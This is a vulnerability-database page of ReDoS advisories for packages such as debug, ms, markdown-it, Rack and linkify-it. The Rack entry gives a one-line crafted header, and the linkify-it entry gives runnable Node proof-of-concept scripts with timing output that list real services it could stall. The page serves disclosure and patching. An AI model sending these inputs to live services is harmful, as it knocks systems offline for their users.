CWE-1333
AllowedInefficient Regular Expression Complexity
Abstraction: Base · Status: Draft
The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.
724 vulnerabilities reference this CWE, most recent first.
CVE-2017-20165 (GCVE-0-2017-20165)
Vulnerability from cvelistv5 – Published: 2023-01-09 09:33 – Updated: 2024-08-05 21:45- CWE-1333 - Inefficient Regular Expression Complexity
| URL | Tags |
|---|---|
| https://vuldb.com/?id.217665 | vdb-entrytechnical-description |
| https://vuldb.com/?ctiid.217665 | signaturepermissions-required |
| https://github.com/debug-js/debug/pull/504 | issue-tracking |
| https://github.com/debug-js/debug/commit/c38a0166… | patch |
| https://github.com/debug-js/debug/releases/tag/3.1.0 | patch |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2017-20165",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2024-07-18T18:05:03.282364Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2024-07-18T18:05:10.755Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"providerMetadata": {
"dateUpdated": "2024-08-05T21:45:26.031Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"vdb-entry",
"technical-description",
"x_transferred"
],
"url": "https://vuldb.com/?id.217665"
},
{
"tags": [
"signature",
"permissions-required",
"x_transferred"
],
"url": "https://vuldb.com/?ctiid.217665"
},
{
"tags": [
"issue-tracking",
"x_transferred"
],
"url": "https://github.com/debug-js/debug/pull/504"
},
{
"tags": [
"patch",
"x_transferred"
],
"url": "https://github.com/debug-js/debug/commit/c38a0166c266a679c8de012d4eaccec3f944e685"
},
{
"tags": [
"patch",
"x_transferred"
],
"url": "https://github.com/debug-js/debug/releases/tag/3.1.0"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "debug",
"vendor": "debug-js",
"versions": [
{
"status": "affected",
"version": "3.0"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "tool",
"value": "VulDB GitHub Commit Analyzer"
}
],
"descriptions": [
{
"lang": "en",
"value": "A vulnerability classified as problematic has been found in debug-js debug up to 3.0.x. This affects the function useColors of the file src/node.js. The manipulation of the argument str leads to inefficient regular expression complexity. Upgrading to version 3.1.0 is able to address this issue. The identifier of the patch is c38a0166c266a679c8de012d4eaccec3f944e685. It is recommended to upgrade the affected component. The identifier VDB-217665 was assigned to this vulnerability."
},
{
"lang": "de",
"value": "Es wurde eine Schwachstelle in debug-js debug bis 3.0.x entdeckt. Sie wurde als problematisch eingestuft. Es betrifft die Funktion useColors der Datei src/node.js. Durch Manipulieren des Arguments str mit unbekannten Daten kann eine inefficient regular expression complexity-Schwachstelle ausgenutzt werden. Ein Aktualisieren auf die Version 3.1.0 vermag dieses Problem zu l\u00f6sen. Der Patch wird als c38a0166c266a679c8de012d4eaccec3f944e685 bezeichnet. Als bestm\u00f6gliche Massnahme wird das Einspielen eines Upgrades empfohlen."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 3.5,
"baseSeverity": "LOW",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
}
},
{
"cvssV3_0": {
"baseScore": 3.5,
"baseSeverity": "LOW",
"vectorString": "CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"version": "3.0"
}
},
{
"cvssV2_0": {
"baseScore": 2.7,
"vectorString": "AV:A/AC:L/Au:S/C:N/I:N/A:P",
"version": "2.0"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "CWE-1333 Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2023-10-20T11:46:02.719Z",
"orgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
"shortName": "VulDB"
},
"references": [
{
"tags": [
"vdb-entry",
"technical-description"
],
"url": "https://vuldb.com/?id.217665"
},
{
"tags": [
"signature",
"permissions-required"
],
"url": "https://vuldb.com/?ctiid.217665"
},
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/debug-js/debug/pull/504"
},
{
"tags": [
"patch"
],
"url": "https://github.com/debug-js/debug/commit/c38a0166c266a679c8de012d4eaccec3f944e685"
},
{
"tags": [
"patch"
],
"url": "https://github.com/debug-js/debug/releases/tag/3.1.0"
}
],
"timeline": [
{
"lang": "en",
"time": "2023-01-09T00:00:00.000Z",
"value": "Advisory disclosed"
},
{
"lang": "en",
"time": "2023-01-09T00:00:00.000Z",
"value": "CVE reserved"
},
{
"lang": "en",
"time": "2023-01-09T01:00:00.000Z",
"value": "VulDB entry created"
},
{
"lang": "en",
"time": "2023-01-30T11:16:01.000Z",
"value": "VulDB entry last update"
}
],
"title": "debug-js debug node.js useColors redos"
}
},
"cveMetadata": {
"assignerOrgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
"assignerShortName": "VulDB",
"cveId": "CVE-2017-20165",
"datePublished": "2023-01-09T09:33:18.561Z",
"dateReserved": "2023-01-09T09:32:31.462Z",
"dateUpdated": "2024-08-05T21:45:26.031Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2017-20162 (GCVE-0-2017-20162)
Vulnerability from cvelistv5 – Published: 2023-01-05 11:49 – Updated: 2025-11-03 21:44- CWE-1333 - Inefficient Regular Expression Complexity
| URL | Tags |
|---|---|
| https://vuldb.com/?id.217451 | vdb-entrytechnical-description |
| https://vuldb.com/?ctiid.217451 | signaturepermissions-required |
| https://github.com/vercel/ms/pull/89 | exploitissue-tracking |
| https://github.com/vercel/ms/commit/caae2988ba2a3… | patch |
| https://github.com/vercel/ms/releases/tag/2.0.0 | patch |
| https://security.netapp.com/advisory/ntap-2024110… |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2025-11-03T21:44:01.250Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"vdb-entry",
"technical-description",
"x_transferred"
],
"url": "https://vuldb.com/?id.217451"
},
{
"tags": [
"signature",
"permissions-required",
"x_transferred"
],
"url": "https://vuldb.com/?ctiid.217451"
},
{
"tags": [
"exploit",
"issue-tracking",
"x_transferred"
],
"url": "https://github.com/vercel/ms/pull/89"
},
{
"tags": [
"patch",
"x_transferred"
],
"url": "https://github.com/vercel/ms/commit/caae2988ba2a37765d055c4eee63d383320ee662"
},
{
"tags": [
"patch",
"x_transferred"
],
"url": "https://github.com/vercel/ms/releases/tag/2.0.0"
},
{
"url": "https://security.netapp.com/advisory/ntap-20241108-0002/"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "ms",
"vendor": "vercel",
"versions": [
{
"status": "affected",
"version": "1.x"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "tool",
"value": "VulDB GitHub Commit Analyzer"
}
],
"descriptions": [
{
"lang": "en",
"value": "A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The patch is named caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451."
},
{
"lang": "de",
"value": "Eine Schwachstelle wurde in vercel ms bis 1.x entdeckt. Sie wurde als problematisch eingestuft. Es geht hierbei um die Funktion parse der Datei index.js. Durch die Manipulation des Arguments str mit unbekannten Daten kann eine inefficient regular expression complexity-Schwachstelle ausgenutzt werden. Der Angriff kann \u00fcber das Netzwerk angegangen werden. Der Exploit steht zur \u00f6ffentlichen Verf\u00fcgung. Ein Aktualisieren auf die Version 2.0.0 vermag dieses Problem zu l\u00f6sen. Der Patch wird als caae2988ba2a37765d055c4eee63d383320ee662 bezeichnet. Als bestm\u00f6gliche Massnahme wird das Einspielen eines Upgrades empfohlen."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
}
},
{
"cvssV3_0": {
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"version": "3.0"
}
},
{
"cvssV2_0": {
"baseScore": 3.5,
"vectorString": "AV:N/AC:M/Au:S/C:N/I:N/A:P",
"version": "2.0"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "CWE-1333 Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2023-10-20T11:42:23.085Z",
"orgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
"shortName": "VulDB"
},
"references": [
{
"tags": [
"vdb-entry",
"technical-description"
],
"url": "https://vuldb.com/?id.217451"
},
{
"tags": [
"signature",
"permissions-required"
],
"url": "https://vuldb.com/?ctiid.217451"
},
{
"tags": [
"exploit",
"issue-tracking"
],
"url": "https://github.com/vercel/ms/pull/89"
},
{
"tags": [
"patch"
],
"url": "https://github.com/vercel/ms/commit/caae2988ba2a37765d055c4eee63d383320ee662"
},
{
"tags": [
"patch"
],
"url": "https://github.com/vercel/ms/releases/tag/2.0.0"
}
],
"timeline": [
{
"lang": "en",
"time": "2023-01-05T00:00:00.000Z",
"value": "Advisory disclosed"
},
{
"lang": "en",
"time": "2023-01-05T00:00:00.000Z",
"value": "CVE reserved"
},
{
"lang": "en",
"time": "2023-01-05T01:00:00.000Z",
"value": "VulDB entry created"
},
{
"lang": "en",
"time": "2023-01-28T16:13:38.000Z",
"value": "VulDB entry last update"
}
],
"title": "vercel ms index.js parse redos"
}
},
"cveMetadata": {
"assignerOrgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
"assignerShortName": "VulDB",
"cveId": "CVE-2017-20162",
"datePublished": "2023-01-05T11:49:24.249Z",
"dateReserved": "2023-01-05T11:47:34.603Z",
"dateUpdated": "2025-11-03T21:44:01.250Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2015-10005 (GCVE-0-2015-10005)
Vulnerability from cvelistv5 – Published: 2022-12-27 08:05 – Updated: 2025-04-11 15:09- CWE-1333 - Inefficient Regular Expression Complexity
| URL | Tags |
|---|---|
| https://vuldb.com/?id.216852 | vdb-entry |
| https://vuldb.com/?ctiid.216852 | signaturepermissions-required |
| https://github.com/markdown-it/markdown-it/commit… | patch |
| https://github.com/markdown-it/markdown-it/releas… | patch |
| Vendor | Product | Version | |
|---|---|---|---|
| n/a | markdown-it |
Affected:
2.x
|
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-06T08:58:24.655Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"vdb-entry",
"x_transferred"
],
"url": "https://vuldb.com/?id.216852"
},
{
"tags": [
"signature",
"permissions-required",
"x_transferred"
],
"url": "https://vuldb.com/?ctiid.216852"
},
{
"tags": [
"patch",
"x_transferred"
],
"url": "https://github.com/markdown-it/markdown-it/commit/89c8620157d6e38f9872811620d25138fc9d1b0d"
},
{
"tags": [
"patch",
"x_transferred"
],
"url": "https://github.com/markdown-it/markdown-it/releases/tag/3.0.0"
}
],
"title": "CVE Program Container"
},
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2015-10005",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-04-11T15:08:47.503395Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-04-11T15:09:04.522Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "markdown-it",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "2.x"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "A vulnerability was found in markdown-it up to 2.x. It has been classified as problematic. Affected is an unknown function of the file lib/common/html_re.js. The manipulation leads to inefficient regular expression complexity. Upgrading to version 3.0.0 is able to address this issue. The name of the patch is 89c8620157d6e38f9872811620d25138fc9d1b0d. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-216852."
},
{
"lang": "de",
"value": "Es wurde eine problematische Schwachstelle in markdown-it bis 2.x ausgemacht. Es geht dabei um eine nicht klar definierte Funktion der Datei lib/common/html_re.js. Durch das Beeinflussen mit unbekannten Daten kann eine inefficient regular expression complexity-Schwachstelle ausgenutzt werden. Ein Aktualisieren auf die Version 3.0.0 vermag dieses Problem zu l\u00f6sen. Der Patch wird als 89c8620157d6e38f9872811620d25138fc9d1b0d bezeichnet. Als bestm\u00f6gliche Massnahme wird das Einspielen eines Upgrades empfohlen."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 3.5,
"baseSeverity": "LOW",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
}
},
{
"cvssV3_0": {
"baseScore": 3.5,
"baseSeverity": "LOW",
"vectorString": "CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"version": "3.0"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "CWE-1333 Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2022-12-27T08:05:38.793Z",
"orgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
"shortName": "VulDB"
},
"references": [
{
"tags": [
"vdb-entry"
],
"url": "https://vuldb.com/?id.216852"
},
{
"tags": [
"signature",
"permissions-required"
],
"url": "https://vuldb.com/?ctiid.216852"
},
{
"tags": [
"patch"
],
"url": "https://github.com/markdown-it/markdown-it/commit/89c8620157d6e38f9872811620d25138fc9d1b0d"
},
{
"tags": [
"patch"
],
"url": "https://github.com/markdown-it/markdown-it/releases/tag/3.0.0"
}
],
"timeline": [
{
"lang": "en",
"time": "2022-12-27T00:00:00.000Z",
"value": "Advisory disclosed"
},
{
"lang": "en",
"time": "2022-12-27T01:00:00.000Z",
"value": "VulDB entry created"
},
{
"lang": "en",
"time": "2022-12-27T09:10:31.000Z",
"value": "VulDB last update"
}
],
"title": "markdown-it html_re.js redos"
}
},
"cveMetadata": {
"assignerOrgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
"assignerShortName": "VulDB",
"cveId": "CVE-2015-10005",
"datePublished": "2022-12-27T08:05:38.793Z",
"dateReserved": "2022-12-27T08:03:51.341Z",
"dateUpdated": "2025-04-11T15:09:04.522Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
GHSA-227G-7CVV-6FF3
Vulnerability from github – Published: 2022-07-14 00:00 – Updated: 2022-07-22 16:31Apache Tapestry up to version 5.8.1 is vulnerable to Regular Expression Denial of Service (ReDoS) in the way it handles Content Types. Specially crafted Content Types may cause catastrophic backtracking, taking exponential time to complete. Specifically, this is about the regular expression used on the parameter of the org.apache.tapestry5.http.ContentType class. Apache Tapestry 5.8.2 has a fix for this vulnerability. Notice the vulnerability cannot be triggered by web requests in Tapestry code alone. It would only happen if there's some non-Tapestry codepath passing some outside input to the ContentType class constructor.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tapestry:tapestry-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.8.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-31781"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-15T18:33:51Z",
"nvd_published_at": "2022-07-13T08:15:00Z",
"severity": "HIGH"
},
"details": "Apache Tapestry up to version 5.8.1 is vulnerable to Regular Expression Denial of Service (ReDoS) in the way it handles Content Types. Specially crafted Content Types may cause catastrophic backtracking, taking exponential time to complete. Specifically, this is about the regular expression used on the parameter of the org.apache.tapestry5.http.ContentType class. Apache Tapestry 5.8.2 has a fix for this vulnerability. Notice the vulnerability cannot be triggered by web requests in Tapestry code alone. It would only happen if there\u0027s some non-Tapestry codepath passing some outside input to the ContentType class constructor.",
"id": "GHSA-227g-7cvv-6ff3",
"modified": "2022-07-22T16:31:43Z",
"published": "2022-07-14T00:00:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31781"
},
{
"type": "WEB",
"url": "https://github.com/apache/tapestry-5/commit/3c8d6103832eec3bc06029dd2532f06df717431f"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2022/07/12/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache Tapestry 5.8.1 vulnerable to ReDoS via Content Types causing catastrophic backtracking"
}
GHSA-22F2-V57C-J9CX
Vulnerability from github – Published: 2024-02-28 22:57 – Updated: 2024-06-10 18:30Summary
module Rack
class MediaType
SPLIT_PATTERN = %r{\s*[;,]\s*}
The above regexp is subject to ReDos. 50K blank characters as a prefix to the header will take over 10s to split.
PoC
A simple HTTP request with lots of blank characters in the content-type header:
request["Content-Type"] = (" " * 50_000) + "a,"
Impact
It's a very easy to craft ReDoS. Like all ReDoS the impact is debatable.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.9.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "0.4"
},
{
"fixed": "2.2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-25126"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-28T22:57:26Z",
"nvd_published_at": "2024-02-29T00:15:51Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n```ruby\nmodule Rack\n class MediaType\n SPLIT_PATTERN = %r{\\s*[;,]\\s*}\n```\nThe above regexp is subject to ReDos. 50K blank characters as a prefix to the header will take over 10s to split.\n\n### PoC\n\nA simple HTTP request with lots of blank characters in the content-type header:\n\n```ruby\nrequest[\"Content-Type\"] = (\" \" * 50_000) + \"a,\"\n```\n\n### Impact\n\nIt\u0027s a very easy to craft ReDoS. Like all ReDoS the impact is debatable.",
"id": "GHSA-22f2-v57c-j9cx",
"modified": "2024-06-10T18:30:52Z",
"published": "2024-02-28T22:57:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rack/rack/security/advisories/GHSA-22f2-v57c-j9cx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25126"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/6efb2ceea003c4b195815a614e00438cbd543462"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/d9c163a443b8cadf4711d84bd2c58cb9ef89cf49"
},
{
"type": "WEB",
"url": "https://discuss.rubyonrails.org/t/denial-of-service-vulnerability-in-rack-content-type-parsing/84941"
},
{
"type": "PACKAGE",
"url": "https://github.com/rack/rack"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2024-25126.yml"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/04/msg00022.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240510-0005"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Rack vulnerable to ReDoS in content type parsing (2nd degree polynomial)"
}
GHSA-22P9-WV53-3RQ4
Vulnerability from github – Published: 2026-06-26 20:47 – Updated: 2026-06-26 20:47Summary
LinkifyIt.prototype.match — the package's primary public API — has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it's a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.
64 KB of "a@b.com\n" repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time — textbook O(N²).
The same cost passes through markdown-it (linkify:true) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.
Affected component
- HEAD audited:
8e887d5bace3f5b09b1d1f70492fa0364ef1793d(v5.0.0) - Vulnerable function:
LinkifyIt.prototype.match—index.mjs:528-554 - Re-scan call sites inside
test():index.mjs:444(fuzzy host search),:448(fuzzy link match),:467(fuzzy email match) - Transitive consumer:
markdown-it(~21.6M weekly npm DLs) callslinkify.match()atlib/rules_core/linkify.mjs:57whenlinkify:true - All versions affected — the vulnerable loop exists since the initial commit (2014) through v5.0.0
Vulnerability details
The O(N²) outer loop
index.mjs:528-554:
LinkifyIt.prototype.match = function match (text) {
const result = []
let shift = 0
let tail = shift ? text.slice(shift) : text
while (this.test(tail)) {
result.push(createMatch(this, shift))
tail = tail.slice(this.__last_index__) // <-- re-allocates remaining tail each iteration
shift += this.__last_index__
}
if (result.length) return result
return null
}
The loop iterates O(N) times (once per match). Each iteration:
1. tail.slice() re-allocates a string of length |text| - shift — O(N) per iteration
2. this.test(tail) runs three unanchored regex searches over the full new tail:
// index.mjs:444 — full-tail search
tld_pos = text.search(this.re.host_fuzzy_test)
// index.mjs:448 — full-tail match
ml = text.match(this.re.link_fuzzy)
// index.mjs:467 — full-tail match
me = text.match(this.re.email_fuzzy)
Total cost: Σ(N - i*c) for i=0..N = O(N²).
Contrast with the linear schema branch
The schema-prefixed scan in the same test() function does it correctly at index.mjs:428-440:
re = this.re.schema_search
re.lastIndex = 0
while ((m = re.exec(text)) !== null) { ... }
That branch uses a g-flag RegExp and advances lastIndex — linear. The fuzzy branches don't follow this pattern.
Proof of concept
mkdir /tmp/linkifyit-redos && cd /tmp/linkifyit-redos
npm install linkify-it@5.0.0
cat > poc.mjs <<'EOF'
import LinkifyIt from 'linkify-it'
const l = new LinkifyIt()
for (const n of [1000, 2000, 4000, 8000, 16000]) {
const evil = 'a@b.com\n'.repeat(n)
const t0 = process.hrtime.bigint()
l.match(evil)
const ms = Number(process.hrtime.bigint() - t0) / 1e6
console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)
}
EOF
node poc.mjs
Measured output (Node v25.5.0, Apple Silicon)
n=1000 bytes=8000 took 44 ms
n=2000 bytes=16000 took 159 ms
n=4000 bytes=32000 took 628 ms
n=8000 bytes=64000 took 2506 ms
n=16000 bytes=128000 took 9948 ms
Doubling N → ~4× wall-clock, consistent with O(N²).
markdown-it transitive (independently confirmed)
npm install markdown-it@14.1.1
node -e "
const md = require('markdown-it')({ linkify: true })
for (const n of [1000, 2000, 4000, 8000]) {
const evil = 'a@b.com '.repeat(n)
const t0 = process.hrtime.bigint()
md.render(evil)
const ms = Number(process.hrtime.bigint() - t0) / 1e6
console.log('n=' + n + ' bytes=' + evil.length + ' md.render=' + ms.toFixed(0) + 'ms')
}
"
n=1000 bytes=8000 md.render=45ms
n=2000 bytes=16000 md.render=171ms
n=4000 bytes=32000 md.render=672ms
n=8000 bytes=64000 md.render=2636ms
Same quadratic curve. 64 KB is enough to burn 2.6 s in markdown-it.render().
Impact
- Availability (High): A single HTTP request containing tens of KB of repeated email-like strings blocks one worker thread for seconds to tens of seconds. Under moderate concurrency (10-50 requests), the entire rendering tier of an affected service is wedged.
- No confidentiality or integrity impact.
Real-world scenario: Any service that renders untrusted Markdown with linkify:true on the request path — Discourse, Mattermost, GitLab CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using markdown-it — receives a post/comment containing 64 KB of "a@b.com ". The render call blocks the worker for 2.5+ seconds. Scripted at scale, this wedges the rendering tier.
Suggested remediation
The fix is algorithmic — convert the outer scan loop to stateful regex iteration so each character is examined a constant number of times:
- Add the
gflag toemail_fuzzy,link_fuzzy,link_no_ip_fuzzy,host_fuzzy_testinlib/re.mjs - Rewrite
test()(or addtestAt(text, pos)) so fuzzy branches setre.lastIndex = posand callre.exec(text)instead oftext.match()/text.search()on a sliced tail - In
match(), droptail = tail.slice(...)entirely — advance aposoffset instead
The schema branch at index.mjs:428-440 is already structured this way — it's the in-repo precedent for the fix.
// proposed sketch
LinkifyIt.prototype.match = function match (text) {
const result = []
let pos = 0
while (this.testAt(text, pos)) {
result.push(createMatch(this, 0))
pos = this.__last_index__
}
return result.length ? result : null
}
Total cost becomes O(N): each character scanned at most once per regex across the whole loop.
Duplicate-risk analysis
- Zero GHSAs on
linkify-it(gh api /repos/markdown-it/linkify-it/security-advisories→[]) - Zero OSV entries (
api.osv.dev/v1/query→{}) - markdown-it's only GHSA (CVE-2022-21670, "Possible ReDOS in newline rule") targets markdown-it's own newline regex, not the linkify pipeline
This finding appears novel.
Note to maintainers
Since markdown-it is the dominant consumer and shares maintainership (Vitaly Puzrin), a patched linkify-it release should be paired with a markdown-it minor that pins the new minimum version.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.0"
},
"package": {
"ecosystem": "npm",
"name": "linkify-it"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48801"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T20:47:58Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`LinkifyIt.prototype.match` \u2014 the package\u0027s primary public API \u2014 has **O(N\u00b2) algorithmic complexity** for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it\u0027s a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.\n\n64 KB of `\"a@b.com\\n\"` repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time \u2014 textbook O(N\u00b2).\n\nThe same cost passes through `markdown-it` (`linkify:true`) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.\n\n## Affected component\n\n- HEAD audited: `8e887d5bace3f5b09b1d1f70492fa0364ef1793d` (v5.0.0)\n- Vulnerable function: `LinkifyIt.prototype.match` \u2014 `index.mjs:528-554`\n- Re-scan call sites inside `test()`: `index.mjs:444` (fuzzy host search), `:448` (fuzzy link match), `:467` (fuzzy email match)\n- Transitive consumer: `markdown-it` (~21.6M weekly npm DLs) calls `linkify.match()` at `lib/rules_core/linkify.mjs:57` when `linkify:true`\n- **All versions affected** \u2014 the vulnerable loop exists since the initial commit (2014) through v5.0.0\n\n## Vulnerability details\n\n### The O(N\u00b2) outer loop\n\n`index.mjs:528-554`:\n\n```js\nLinkifyIt.prototype.match = function match (text) {\n const result = []\n let shift = 0\n let tail = shift ? text.slice(shift) : text\n\n while (this.test(tail)) {\n result.push(createMatch(this, shift))\n tail = tail.slice(this.__last_index__) // \u003c-- re-allocates remaining tail each iteration\n shift += this.__last_index__\n }\n\n if (result.length) return result\n return null\n}\n```\n\nThe loop iterates O(N) times (once per match). Each iteration:\n1. `tail.slice()` re-allocates a string of length `|text| - shift` \u2014 O(N) per iteration\n2. `this.test(tail)` runs three unanchored regex searches over the full new `tail`:\n\n```js\n// index.mjs:444 \u2014 full-tail search\ntld_pos = text.search(this.re.host_fuzzy_test)\n// index.mjs:448 \u2014 full-tail match\nml = text.match(this.re.link_fuzzy)\n// index.mjs:467 \u2014 full-tail match\nme = text.match(this.re.email_fuzzy)\n```\n\nTotal cost: `\u03a3(N - i*c) for i=0..N = O(N\u00b2)`.\n\n### Contrast with the linear schema branch\n\nThe schema-prefixed scan in the same `test()` function does it correctly at `index.mjs:428-440`:\n\n```js\nre = this.re.schema_search\nre.lastIndex = 0\nwhile ((m = re.exec(text)) !== null) { ... }\n```\n\nThat branch uses a `g`-flag RegExp and advances `lastIndex` \u2014 linear. The fuzzy branches don\u0027t follow this pattern.\n\n## Proof of concept\n\n```bash\nmkdir /tmp/linkifyit-redos \u0026\u0026 cd /tmp/linkifyit-redos\nnpm install linkify-it@5.0.0\n\ncat \u003e poc.mjs \u003c\u003c\u0027EOF\u0027\nimport LinkifyIt from \u0027linkify-it\u0027\nconst l = new LinkifyIt()\nfor (const n of [1000, 2000, 4000, 8000, 16000]) {\n const evil = \u0027a@b.com\\n\u0027.repeat(n)\n const t0 = process.hrtime.bigint()\n l.match(evil)\n const ms = Number(process.hrtime.bigint() - t0) / 1e6\n console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)\n}\nEOF\nnode poc.mjs\n```\n\n### Measured output (Node v25.5.0, Apple Silicon)\n\n```\nn=1000 bytes=8000 took 44 